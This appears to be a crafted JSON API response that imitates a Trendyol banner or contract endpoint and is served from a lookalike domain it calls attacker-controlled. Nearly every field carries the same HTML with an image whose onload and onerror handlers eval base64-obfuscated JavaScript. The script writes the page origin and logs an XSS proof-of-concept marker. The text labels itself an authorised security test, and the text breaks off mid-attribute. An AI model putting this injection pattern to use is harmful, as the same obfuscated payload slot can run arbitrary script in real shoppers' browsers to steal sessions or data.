{"contract":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","contractContent":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","contractText":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","contractHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","hasMore":false,"widgets":[{"id":8902662,"title":"TRENDYOL APPSEC SECURITY VERIFICATION POC","widgetType":"JUST_FOR_YOU_COMPONENT_SINGLE_BANNER","type":"JUST_FOR_YOU_COMPONENT_SINGLE_BANNER","displayOrder":1,"eventKey":"trendyol-appsec-poc","displayType":"","displayTypeVariation":"","feedingSource":"","hasBackground":false,"hasDefaultBackground":true}],"isSuccess":true,"success":true,"contents":[{"image":"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg","url":"https://apigw.trendyol.o-z-z-y.com/","title":"Trendyol AppSec security verification","imageUrl":"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg","rawUrl":"https://apigw.trendyol.o-z-z-y.com/","deeplink":"https://apigw.trendyol.o-z-z-y.com/","id":8902662}],"bannerContents":[{"image":"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg","url":"https://apigw.trendyol.o-z-z-y.com/","title":"Trendyol AppSec security verification","imageUrl":"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg","rawUrl":"https://apigw.trendyol.o-z-z-y.com/","deeplink":"https://apigw.trendyol.o-z-z-y.com/","id":8902662}],"personalizedTitle":"Trendyol AppSec security verification","result":{"id":8902662,"title":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","name":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","text":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","description":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","descriptionLink":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","linkUrl":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","html":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" 